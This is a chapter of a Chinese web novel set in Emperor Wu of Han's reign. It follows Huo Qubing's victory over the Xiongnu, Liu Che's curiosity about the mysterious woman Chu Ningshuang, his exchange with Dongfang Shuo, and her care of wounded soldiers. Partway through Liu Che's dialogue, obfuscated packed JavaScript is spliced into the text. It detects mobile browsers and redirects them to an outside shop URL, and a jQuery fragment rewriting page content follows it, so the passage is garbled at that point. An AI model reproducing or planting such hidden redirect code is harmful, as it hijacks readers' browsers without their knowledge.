16.莫不是得道高人吧

作品:《[西汉]玩游戏玩到汉武帝时期

    左眼的疼痛是如此得强烈。


    疼得他耳鸣目眩,几乎忘了自己是谁,现在又在哪!


    但他想,他应该永远不会忘记那双冰冷的眼睛。


    他有种感觉,若不及时除去那人,未来对方必定成他匈奴大患!


    “单于!汉军追上来了!”


    “是李广,汉军主力赶过来了!”


    李广?该死!


    浑邪王绝对是提前逃了,否则李广不可能这么快赶过来。


    心中的怨气几乎要实质化,滔天的怒火更是让伊稚斜单于发了狠。


    他手握箭杆,嘶吼着硬生生拔出被羽箭贯穿的左眼球,钻心的疼痛几乎让他整个身体都歪倒在站马上。


    “单于,坚持住!”


    亲兵们接连不断的大喊让他保持了最后一丝清明。


    模糊的视线中,他看到一面汉旗。


    旗上有一个复杂无比的字,不同于此前见过的‘卫’或者‘李’。


    即便不认识,但他心中已然有了个坚定的答案。


    ——霍!


    是那个绕过大军,奇袭他匈奴后方的陌生将领!


    *


    长安,未央宫。


    看着加急送回的军报,刘彻的心情完全可以用过山车来形容。


    大起大落、再大落,又大起,最后变成一连串的问号。


    大起的是,此战杀敌一万多人,俘虏匈奴、牛羊若干,完全可以称得上是一场大胜。


    尤其是初次领兵的霍去病,这个他最看好的孩子,带领八百骑兵就敢深入漠南,还取得了那么亮眼的成绩。


    看到这的时候,刘彻恨不能代替霍去病,亲自创下这战场奇迹。


    但随后,他的心情开始大落,气得没忍住一拍桌子,把旁边的内侍吓了一跳。


    赵信!


    本就是个匈奴降将,看在对方还有些才能的份上,他不仅饶了他的命,还给了他前将军的位置。


    他竟因匈奴势众,毫不犹豫就投降了!


    若不是卫青大军来得及时,苏建和那些兵士可就都被他害惨了!


    “传旨,赵信家眷押入诏狱,严加看管!”


    心里已经给赵信定了死罪,刘彻继续往下看,本就大落的心情再次大落。


    “唉!这么好的机会,怎么就错过了!”


    刘彻怎么能不生气。


    他气得站起来,在桌子前走来走去。


    大军好不容易找到匈奴主力所在,甚至完全有可能对匈奴完成合围,却因为李广、公孙贺、公孙敖被匈奴分兵缠住,导致合兵太慢,让匈奴单于从容逃了。


    之后去病突袭匈奴溃兵,只差了那么一点点!


    但凡再多一些人,肯定就能拿下单于了!


    再大落之后又大起了一下。


    去病射中了单于左眼?!


    好好好!不愧是他培养的孩子。


    就是可惜箭上没有涂毒,不然这一箭就足够干掉单于了。


    看看去病的战绩,再看看其他那些将军。


    真是没眼看!


    他要重赏去病!重重地赏!


    平复好心情,刘彻坐回去,重新拿起那份军报。


    军报还有最后一卷竹简。


    他有些好奇,因为上一卷的末尾,已经差不多把军情都说完了。


    卫青另起一卷,应该是要写另一件重要的事。


    展开竹简,刘彻一字一句地看下去,眉头越皱越紧。


    卫青的字迹工整而简洁,说的却是一件奇事。


    霍校尉追击途中遇一女子,名楚凝霜,自称隐世门派弟子,下山游历,骑白马。


    依张校尉所言应当是产自大宛的汗血宝马。


    此女身手不凡,助霍校尉追击匈奴骑兵,后回军营,献马镫、马鞍、马蹄铁三物。


    经诸位将军试骑,确能稳固骑手、保护马蹄,延长战马使用寿命,若能量产装备,汉军骑兵可减三年训练之功。


    更匪夷所思的是后半段。


    【一日夜,女子入中军大帐禀报:夜半惊醒,得一异梦,梦中见赵信、苏建二位将军遭匈奴主力包围。


    青虽有疑,仍召大军前往,果遇匈奴主力袭击苏赵营地,遂战之。


    霍校尉率一千骑兵,装备马鞍、马镫、马蹄铁,又持女子所赠一奇物,可看清数十里外的敌情。


    此一战,千人之中无一人因掉马而死……】


    放下这卷竹简,刘彻深深吸了口气,又呼出来。


    他了解卫青,知道这竹简上的事若不是真的,卫青断然不会写下来告诉他。


    但若真如信上所言,那女子的身份……莫不是什么得道高人吧?


    刘彻是很迷信的。


    他在元光二年就已经见过一位颇有大才的方士,也就是李少君了。


    李少君把先秦时期一位著名方士安期生的炼丹秘方上奏给他。


    “丹砂可以炼出金丹,吃了金丹就能成仙——我曾经在海上漫游,遇见了仙人安期生,他经常吃一种像瓜一样大的枣子。”


    后来李少君去世了,又过了一段时间,刘彻让人打开了他的棺椁。


    结果里面没有尸体,只剩下衣服和帽子。


    刘彻已经33岁了,放在后世还算青壮年。


    但在如今——尤其是自他之前的父亲、祖父都48岁、46岁就死了,他怎么能不着急。


    想要永远享受至高无上的权力是一方面,另一方面是他希望能在他在位的时候,将北方匈奴尽数剿灭!


    他绝不想让匈奴再闯入边境,伤害边境的安宁,也不想将这个难题留给子孙后代解决。


    重新拿起竹简,刘彻又看了一遍。


    夜半忽寐,得一异梦……


    他忽然笑了一下。


    好,好,他实在太好奇那女子的身份了。


    “传旨——告诉大将军,等大军回朝的时候,带那女子一并来长安,朕要见见。”


    “诺。”内侍退下。


    殿内又安静下来。


    刘彻拿着那卷竹简走到殿门外,抬头望向星光璀璨的夜空。


    远处,有夜鸟掠过,留下一声清越的长鸣。


    “楚凝霜。”他念出那个名字。


    夜风吹起他的衣袍,另有内侍快速取来一件披风,服侍他披上。


    “东方朔。”他忽然开口。


    旁边侍立的中年男子上前一步。


    “臣在。”


    “你说,这世上有没有神仙?”


    东方朔愣了一下。


    “陛下何出此言?”


    汉武帝把竹简递给他。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346720|198678||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你看看这个。”


    东方朔接过竹简,仔细看完,神情逐渐变得凝重。


    “这……”


    汉武帝笑看向他。


    “有何想法,说来听听。”


    东方朔拱手,“陛下,臣此前上天为陛下求取仙药之时,此女楚氏便侍立于天帝身边。”


    刘彻举起巴掌,作势要揍他。


    “不许再用那上天取药一说敷衍朕。”


    “陛下,微臣所言句句属实啊!”东方朔满腹委屈,十分夸张地哭诉。


    “当年那楚氏还曾在天帝发怒时为臣求过情呢!”


    刘彻冷哼一声,完全无法理解片刻前找东方朔询问看法的自己。


    东方朔是什么德行,他难道还不清楚吗?非得找不痛快,现在好了吧,气得一肚子火。


    东方朔:“陛下,臣还有话说呢。”


    刘彻没好气道:“朕知道,你不过是想用譬喻的方法劝朕不要再听信方士之言罢了。”


    “陛下明鉴,臣这次是真的有话要说。”东方朔收起笑容,罕见地认真起来。


    “臣以为——管她是不是神仙,只要她帮的是大汉、帮的是陛下,陛下就当她是上天赐来的祥瑞,至于那些东西从哪来……只要好处得到了,来源重要吗?”


    听到如此正经的回答,刘彻诧异地看了东方朔一眼。


    “你还是朕认识的那个东方朔吗,话怎得如此正经?”


    东方朔顿感无比委屈。


    “陛下,臣一直都是个正经的人啊!”


    *


    千里之外的漠南军营,楚凝霜正在给伤病营里的最后一个伤兵换药。


    出去征战的大军是在昨日回来的。


    不仅带回了匈奴败退的好消息,也带回了数量惊人的伤兵。


    不过能活着回来已经算是好运了,更多的还是那些连回都回不来的人。


    张虎走进大帐的时候,卫青正在整理一份更详尽的军报。


    “参见大将军!”张虎单膝跪地,抱拳行礼。


    案上的油灯跳了跳,把他的影子拉得很长。


    卫青抬起头,“起来吧。”


    他问道:“最近这些天,楚氏都在做什么?”


    张虎站起身,垂手立在案前,一五一十地禀报。


    “楚氏这段时间在伤病营,一直都在照顾伤兵。”


    卫青诧异地挑起眉梢。


    “她还会医术?方军医态度如何?”


    “方军医起初不悦,后来就由着她了。”


    张虎紧张地攥了攥拳,斟酌着措辞。


    卫青:“她具体都在做什么?”


    “楚氏每日都会烧开水,洗更换的布条,还让那些能动的人帮忙,打扫草棚,换干草之类的。”


    张虎汇报地很详细,“她还拿出了一种…叫大蒜素的奇药,伤病营里有个咳嗽的小子,喝了药也不好,但喝了点这个后很快就不咳嗽了,其他人的伤口也没再溃烂……”


    一五一十地说了很多,直到再没什么好说的。


    张虎顿了顿,看卫青仍然沉默,便壮着胆子开口。


    “大将军,小的…小的斗胆说一句——楚氏真的是个好人,只是小的嘴笨,不知道该怎么形容,但她真的不像是心存歹念之辈……您若是有空,去一趟伤病营便知道了。”